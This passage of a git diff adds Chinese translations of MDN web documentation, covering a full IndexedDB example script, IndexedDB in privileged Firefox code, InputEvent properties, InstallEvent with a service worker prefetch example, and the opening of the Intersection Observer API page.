+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('<p>There are <strong>' + evt.target.result +
+                     '</strong> record(s) in the object store.</p>');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('<li>' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '</li>');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &&
+              typeof value.blob != 'undefined') {
+            var link = $('<a href="' + cursor.key + '">File</a>');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('<iframe />');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('<img id="' + img_id + '"/>');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+      if (xhr.status == 200) {
+        console.log("Blob retrieved");
+        var blob = xhr.response;
+        console.log("Blob:", blob);
+        addPublication(biblioid, title, year, blob);
+      } else {
+        console.error("addPublicationFromUrl error:",
+        xhr.responseText, xhr.status);
+      }
+    };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+    };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('<span class="action-success">' + msg + '</span>');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+ +

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

+ +
+

注意:window.indexedDB.open() 是异步的。该方法在 success 事件触发前很长一段时间就执行完毕。这意味着一个调用 open()onsuccess 的方法(例如 openDb()),会在 onsuccess 句柄开始运行前就已经返回了。这种情况同样适用于其他请求方法,比如 transaction()get()

+
+ +

另请参阅

+ +

如有需要,请进一步阅读以获取更多信息。

+ +

参考

+ + + +

教程和指导

+ + + +

+ + diff --git a/files/zh-cn/web/api/indexeddb_api/using_indexeddb_in_chrome/index.html b/files/zh-cn/web/api/indexeddb_api/using_indexeddb_in_chrome/index.html new file mode 100644 index 0000000000..d9d9aa2cbf --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/using_indexeddb_in_chrome/index.html @@ -0,0 +1,27 @@ +--- +title: Using IndexedDB in chrome +slug: Web/API/IndexedDB_API/Using_IndexedDB_in_chrome +translation_of: Mozilla/Tech/XPCOM/Using_IndexedDB_in_chrome +--- +

indexedDB API 通常被用来在用户的浏览器端存储来自JavaScript的数据。(点击 Using IndexedDB 复习)。然而,使用system-privileged JavaScript的 Components.utils.importGlobalProperties() 函数也能获取这些API:

+ +
Components.utils.importGlobalProperties(["indexedDB"]);
+
+// From here on, it's like using IndexedDB from content
+var req = indexedDB.open("my-database");
+// ...
+ +

如果你要创建一个 sandbox ,并且打算在sandbox中使用indexedDB,那么在 Sandbox 的构造函数中使用 wantGlobalProperties配置项:

+ +
var options = {
+  "wantGlobalProperties": ["indexedDB"]
+}
+var principal = Cc["@mozilla.org/systemprincipal;1"].createInstance(Ci.nsIPrincipal);
+var sandbox = Components.utils.Sandbox(principal, options);
+
+// The sandbox will have access to indexedDB
+var sandboxScript = 'var req = indexedDB.open("my-database");';
+Components.utils.evalInSandbox(sandboxScript, sandbox);
+
+ +

在Firefox 33之前,你可能要使用nsIIndexedDatabaseManager的initWindowless方法,从chrome的代码中方法获取indexedDB。这种方法在Firefox 33时,已经被移除。

diff --git a/files/zh-cn/web/api/inputevent/data/index.html b/files/zh-cn/web/api/inputevent/data/index.html new file mode 100644 index 0000000000..278695993d --- /dev/null +++ b/files/zh-cn/web/api/inputevent/data/index.html @@ -0,0 +1,69 @@ +--- +title: InputEvent.data +slug: Web/API/InputEvent/data +tags: + - API + - DOM Events + - InputEvent + - data +translation_of: Web/API/InputEvent/data +--- +

{{SeeCompatTable}}{{APIRef("DOM Events")}}

+ +
+

请注意,data 属性在使用键盘输入时会返回输入的字符内容,但在粘贴、拖动时可能会返回 null,这取决于浏览器。浏览器也可能把一些数据保存在 {{domxref("InputEvent.dataTransfer")}},而不是该 data 属性中。

+
+ +

{{domxref("InputEvent")}} 接口中的只读属性 data 返回含有插入字符数据的 {{domxref("DOMString")}}。如果更改未插入文本(例如删除字符时),则其可能为空字符串。

+ +

语法

+ +
var string = inputEvent.data;
+ +

返回值

+ +

一个 {{domxref("DOMString")}}。

+ +

示例

+ +

在下面的简单示例中,我们在 input 事件上设置了一个事件监听器,以便在对 {{htmlelement("input")}} 元素的内容进行任何更改时(通过键入或粘贴),通过 InputEvent.data 属性检索添加的文本,并在 <input> 下面的段落中报告。

+ +
<p>Some text to copy and paste.</p>
+
+<input type="text">
+
+<p class="result"></p>
+ +
var editable = document.querySelector('input')
+var result = document.querySelector('.result');
+
+editable.addEventListener('input', (e) => {
+  result.textContent = "Inputted text: " + e.data;
+});
+ +

{{EmbedLiveSample('Examples')}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('InputEvents2','#dfn-data','data')}}{{Spec2('InputEvents2')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.InputEvent.data")}}

+
diff --git a/files/zh-cn/web/api/inputevent/datatransfer/index.html b/files/zh-cn/web/api/inputevent/datatransfer/index.html new file mode 100644 index 0000000000..9f53b7091a --- /dev/null +++ b/files/zh-cn/web/api/inputevent/datatransfer/index.html @@ -0,0 +1,72 @@ +--- +title: InputEvent.dataTransfer +slug: Web/API/InputEvent/dataTransfer +tags: + - API + - DOM Events + - DataTransfer + - InputEvent +translation_of: Web/API/InputEvent/dataTransfer +--- +

{{SeeCompatTable}}{{APIRef("DOM Events")}}

+ +

{{domxref("InputEvent")}} 接口中的只读属性 dataTransfer 返回一个 {{domxref("DataTransfer")}} 对象,该对象包含有关要添加到可编辑内容,或从可编辑内容中删除的富文本或纯文本数据的信息。

+ +

语法

+ +
var dataTransfer = inputEvent.dataTransfer
+ +

返回值

+ +

一个 {{domxref("DataTransfer")}} 对象。

+ +

示例

+ +

在下面的简单示例中,我们在 input 事件上设置了一个事件监听器,以便在将任何内容粘贴到 {{htmlelement("p")}} 元素时,通过 InputEvent.dataTransfer.getData() 方法检索其HTML源代码,并在输入框下面的段落中报告。

+ +

尝试复制并粘贴提供的部分内容以查看效果。注意,部分浏览器对其支持不佳。

+ +
<p><span style="font-weight: bold; color: blue">Whoa, bold blue text!</span></p>
+<p><span style="font-weight: italic; color: red">Exciting: italic red text!</span></p>
+<p>Boring normal text ;-(</p>
+
+<hr>
+
+<p contenteditable="true">Go on, try pasting some content into this editable paragraph and see what happens!</p>
+
+<p class="result"></p>
+ +
var editable = document.querySelector('p[contenteditable]');
+var result = document.querySelector('.result')
+var dataTransferObj;
+
+editable.addEventListener('input', (e) => {
+  result.textContent = e.dataTransfer.getData('text/html');
+});
+ +

{{EmbedLiveSample('Examples', '100%', 250)}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('InputEvents2','#dom-inputevent-datatransfer','dataTransfer')}}{{Spec2('InputEvents2')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.InputEvent.dataTransfer")}}

+
diff --git a/files/zh-cn/web/api/inputevent/index.html b/files/zh-cn/web/api/inputevent/index.html new file mode 100644 index 0000000000..a0f8caeb80 --- /dev/null +++ b/files/zh-cn/web/api/inputevent/index.html @@ -0,0 +1,61 @@ +--- +title: InputEvent +slug: Web/API/InputEvent +translation_of: Web/API/InputEvent +--- +

{{APIRef("DOM Events")}}

+
{{SeeCompatTable}}<
+

InputEvent 接口用来构造和字符输入相关的事件对象。

+ +

构造函数

+ +
+
{{domxref("InputEvent.InputEvent", "InputEvent()")}}
+
创建一个 InputEvent 对象。
+
+ +

属性

+ +

除继承自 {{domxref("UIEvent")}} 和 {{domxref("Event")}} 接口的属性外,还有以下属性:

+ +
+
{{domxref("InputEvent.data")}} {{readOnlyInline}}
+
返回当前输入的字符串,如果是删除操作,则该值为空字符串。
+
{{domxref("InputEvent.isComposing")}}{{readOnlyInline}}
+
返回一个布尔值,表明该事件是在触发 {{event("compositionstart")}} 事件之后且触发 {{event("compositionend")}} 事件之前触发的,也就是表明当前输入的字符是输入法的中途输入。
+
+ +

方法

+ +

除继承自 {{domxref("UIEvent")}} 和 {{domxref("Event")}} 接口的方法外,没有其它自身方法。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#interface-InputEvent','InputEvent')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.InputEvent")}}

+ + +

相关链接

+ + diff --git a/files/zh-cn/web/api/inputevent/inputevent/index.html b/files/zh-cn/web/api/inputevent/inputevent/index.html new file mode 100644 index 0000000000..9d6227b309 --- /dev/null +++ b/files/zh-cn/web/api/inputevent/inputevent/index.html @@ -0,0 +1,50 @@ +--- +title: InputEvent() +slug: Web/API/InputEvent/InputEvent +tags: + - API + - Constructor + - DOM + - DOM Events + - InputEvent +translation_of: Web/API/InputEvent/InputEvent +--- +

{{APIRef("DOM Events")}}{{SeeCompatTable}}

+ +

构造函数 InputEvent() 返回一个新创建的 {{domxref("InputEvent")}} 对象。

+ +

语法

+ +
 event = new InputEvent(typeArg, inputEventInit);
+ +

参数

+ +
+
typeArg
+
一个 {{domxref("DOMString")}} ,表示事件的名称。
+
inputEventInit{{optional_inline}}
+
+ +

一个 InputEventInit 字典,有以下字段:

+ + + +

InputEventInit 字典也接受来自 {{domxref("UIEvent.UIEvent", "UIEventInit")}} 以及 {{domxref("Event.Event", "EventInit")}} 字典的值。

+ +

浏览器兼容性

+ + + +

{{Compat("api.InputEvent.InputEvent")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/inputevent/inputtype/index.html b/files/zh-cn/web/api/inputevent/inputtype/index.html new file mode 100644 index 0000000000..91136e1ed5 --- /dev/null +++ b/files/zh-cn/web/api/inputevent/inputtype/index.html @@ -0,0 +1,82 @@ +--- +title: InputEvent.inputType +slug: Web/API/InputEvent/inputType +tags: + - API + - DOM Events + - InputEvent + - inputType +translation_of: Web/API/InputEvent/inputType +--- +
{{APIRef("DOM Events")}}
+ +

{{domxref("InputEvent")}} 接口中的只读属性 inputType 返回对可编辑内容所做更改的类型。可能的更改包括插入、删除和格式化文本。

+ +

语法

+ +
var string = inputEvent.inputType;
+ +

返回值

+ +

一个 {{domxref("DOMString")}} 对象,包含所做输入的类型。有许多可能的值,例如insertTextdeleteContentBackwardinsertFromPasteformatBold。有关可用输入类型的完整列表,请参阅 Input Events Level 1 规范的属性部分

+ +

示例

+ +

此实例记录 input events 的 inputType,在一个可编辑的 {{htmlElement("div")}} 中。

+ +

HTML

+ +
<p id="log">Input type: </p>
+<div contenteditable="true" style="margin: 20px;padding: 20px;border:2px dashed red;">
+  <p>Some sample text. Try inserting line breaks, or deleting text in different ways, or pasting different content in.</p>
+  <hr>
+  <ul>
+    <li>A sample</li>
+    <li>bulleted</li>
+    <li>list.</li>
+  </ul>
+  <p>Another paragraph.</p>
+</div>
+ +

JavaScript

+ +
const log = document.getElementById('log');
+const editable = document.querySelector('div[contenteditable]');
+editable.addEventListener('input', logInputType);
+
+function logInputType(event) {
+  log.textContent = `Input type: ${event.inputType}`;
+}
+ +

尝试编辑 <div> 中的文本,并看看发生了什么事。

+ +

{{EmbedLiveSample("Examples", '100%', 500)}}

+ +
+

注:有关更详细的示例,请参见 Masayuki Nakano的InputEvent测试套件

+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('UI Events','#dom-inputevent-inputtype','inputType')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.InputEvent.inputType")}}

+
diff --git a/files/zh-cn/web/api/inputevent/iscomposing/index.html b/files/zh-cn/web/api/inputevent/iscomposing/index.html new file mode 100644 index 0000000000..c427a7ba50 --- /dev/null +++ b/files/zh-cn/web/api/inputevent/iscomposing/index.html @@ -0,0 +1,96 @@ +--- +title: InputEvent.isComposing +slug: Web/API/InputEvent/isComposing +translation_of: Web/API/InputEvent/isComposing +--- +

{{APIRef("DOM Events")}}

+ +

The InputEvent.isComposing read-only property returns a {{jsxref("Boolean")}} value indicating if the event is fired after {{event("compositionstart")}} and before {{event("compositionend")}}.

+ +

这是一个只读属性,返回boolean类型。表示正处于输入事件的开始与结束之间,表示正在输入状态。

+ +

Syntax

+ +
var bool = event.isComposing;
+ +

Example

+ +
var inputEvent = new InputEvent("syntheticInput", false);
+console.log(inputEvent.isComposing); // return false
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-InputEvent-isComposing','InputEvent.isComposing')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatGeckoDesktop("31.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("31.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/installevent/index.html b/files/zh-cn/web/api/installevent/index.html new file mode 100644 index 0000000000..8fcadb8f44 --- /dev/null +++ b/files/zh-cn/web/api/installevent/index.html @@ -0,0 +1,150 @@ +--- +title: InstallEvent +slug: Web/API/InstallEvent +translation_of: Web/API/InstallEvent +--- +
{{APIRef("Service Workers API")}}{{SeeCompatTable}}
+ +

该参数传递到 {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} 事件处理程序,InstallEvent接口表示一个 {{domxref("ServiceWorker")}} 的 {{domxref("ServiceWorkerGlobalScope")}} 上分派的安装操作。作为 {{domxref("ExtendableEvent")}} 的一个子类,它确保在安装期间不调度诸如 {{domxref("FetchEvent")}} 之类的功能事件。

+ +

该接口继承自 {{domxref("ExtendableEvent")}} 接口。

+ +

{{InheritanceDiagram(700, 60, 20)}}

+ +

构造函数

+ +
+
{{domxref("InstallEvent.InstallEvent()")}}
+
创建一个新的InstallEvent对象。
+
+ +

属性

+ +

从它的祖先{{domxref("Event")}}继承属性。

+ +
+
{{domxref("InstallEvent.activeWorker")}} {{readonlyInline}}
+
返回当前处于激活状态,控制页面的{{domxref("ServiceWorker")}}。
+
+ +

方法

+ +

从它的父类{{domxref("ExtendableEvent")}}继承方法。

+ +

示例

+ +

该代码片段来自 service worker prefetch sample (请参阅 prefetch running live)。代码在{{domxref("ServiceWorkerGlobalScope.oninstall")}}中调用{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil(any value)")}},并延迟将{{domxref("ServiceWorkerRegistration.installing")}} worker视为已安装的,直到传递的promise被成功地resolve。当所有资源已经获取并缓存,或者有任何异常发生时,promise才会resolve。

+ +

该代码片段也展示了服务工作线程使用的缓存版本控制的最佳实践。虽然此示例只有一个缓存,但您可以将此方法用于多个缓存。 代码将缓存的速记标识映射到特定的版本化缓存名称。

+ +
+

注意: service worker的注册日志记录在Chrome浏览器中可以通过访问chrome://serviceworker-internals查看。

+
+ +
var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+console.log('Handling install event. Resources to pre-fetch:', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('All resources have been fetched and cached.');
+      });
+    }).catch(function(error) {
+      console.error('Pre-fetching failed:', error);
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}As of May 2015, the install event is an instance of {{domxref("ExtendableEvent")}} rather than a child of it.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop("44.0")}}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatGeckoMobile("44.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/intersection_observer_api/index.html b/files/zh-cn/web/api/intersection_observer_api/index.html new file mode 100644 index 0000000000..16ec1fcc7f --- /dev/null +++ b/files/zh-cn/web/api/intersection_observer_api/index.html @@ -0,0 +1,167 @@ +--- +title: Intersection Observer API +slug: Web/API/Intersection_Observer_API +tags: + - Intersection Observer API + - IntersectionObserver +translation_of: Web/API/Intersection_Observer_API +--- +
+

{{DefaultAPISidebar("Intersection Observer API")}}

+ +

Intersection Observer API提供了一种异步检测目标元素与祖先元素或 {{Glossary("viewport")}} 相交情况变化的方法。

+
+ +

过去,要检测一个元素是否可见或者两个元素是否相交并不容易,很多解决办法不可靠或性能很差。然而,随着互联网的发展,这种需求却与日俱增,比如,下面这些情况都需要用到相交检测:

+ + + +

过去,相交检测通常要用到事件监听,并且需要频繁调用{{domxref("Element.getBoundingClientRect()")}} 方法以获取相关元素的边界信息。事件监听和调用 {{domxref("Element.getBoundingClientRect()")}}  都是在主线程上运行,因此频繁触发、调用可能会造成性能问题。这种检测方法极其怪异且不优雅。

+ +

假如有一个无限滚动的网页,开发者使用了一个第三方库来管理整个页面的广告,又用了另外一个库来实现消息盒子和点赞,并且页面有很多动画(译注:动画往往意味着较高的性能消耗)。两个库都有自己的相交检测程序,都运行在主线程里,而网站的开发者对这些库的内部实现知之甚少,所以并未意识到有什么问题。但当用户滚动页面时,这些相交检测程序就会在页面滚动回调函数里不停触发调用,造成性能问题,体验效果让人失望。

+ +

Intersection Observer API 会注册一个回调函数,每当被监视的元素进入或者退出另外一个元素时(或者 {{Glossary("viewport")}} ),或者两个元素的相交部分大小发生变化时,该回调方法会被触发执行。这样,我们网站的主线程不需要再为了监听元素相交而辛苦劳作,浏览器会自行优化元素相交管理。

+ +

注意 Intersection Observer API 无法提供重叠的像素个数或者具体哪个像素重叠,他的更常见的使用方式是——当两个元素相交比例在 N% 左右时,触发回调,以执行某些逻辑。

+ +

Intersection observer 的概念和用法

+ +

Intersection Observer API 允许你配置一个回调函数,当以下情况发生时会被调用

+ + + +

通常,您需要关注文档最接近的可滚动祖先元素的交集更改,如果元素不是可滚动元素的后代,则默认为设备视窗。如果要观察相对于根(root)元素的交集,请指定根(root)元素为null

+ +

无论您是使用视口还是其他元素作为根,API都以相同的方式工作,只要目标元素的可见性发生变化,就会执行您提供的回调函数,以便它与所需的交叉点交叉。

+ +

目标(target)元素与根(root)元素之间的交叉度是交叉比(intersection ratio)。这是目标(target)元素相对于根(root)的交集百分比的表示,它的取值在0.0和1.0之间。

+ +

创建一个 intersection observer

+ +

创建一个 IntersectionObserver对象,并传入相应参数和回调用函数,该回调函数将会在目标(target)元素和根(root)元素的交集大小超过阈值(threshold)规定的大小时候被执行。

+ +
let options = {
+    root: document.querySelector('#scrollArea'),
+    rootMargin: '0px',
+    threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);
+
+ +

阈值为1.0意味着目标元素完全出现在root选项指定的元素中可见时,回调函数将会被执行。

+ +

Intersection observer options

+ +

传递到{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}}构造函数的 options 对象,允许您控制观察者的回调函数的被调用时的环境。它有以下字段:

+ +
+
root
+
指定根(root)元素,用于检查目标的可见性。必须是目标元素的父级元素。如果未指定或者为null,则默认为浏览器视窗。
+
rootMargin  
+
根(root)元素的外边距。类似于 CSS 中的  {{cssxref("margin")}} 属性,比如 "10px 20px 30px 40px" (top, right, bottom, left)。如果有指定root参数,则rootMargin也可以使用百分比来取值。该属性值是用作root元素和target发生交集时候的计算交集的区域范围,使用该属性可以控制root元素每一边的收缩或者扩张。默认值为0。
+
threshold
+
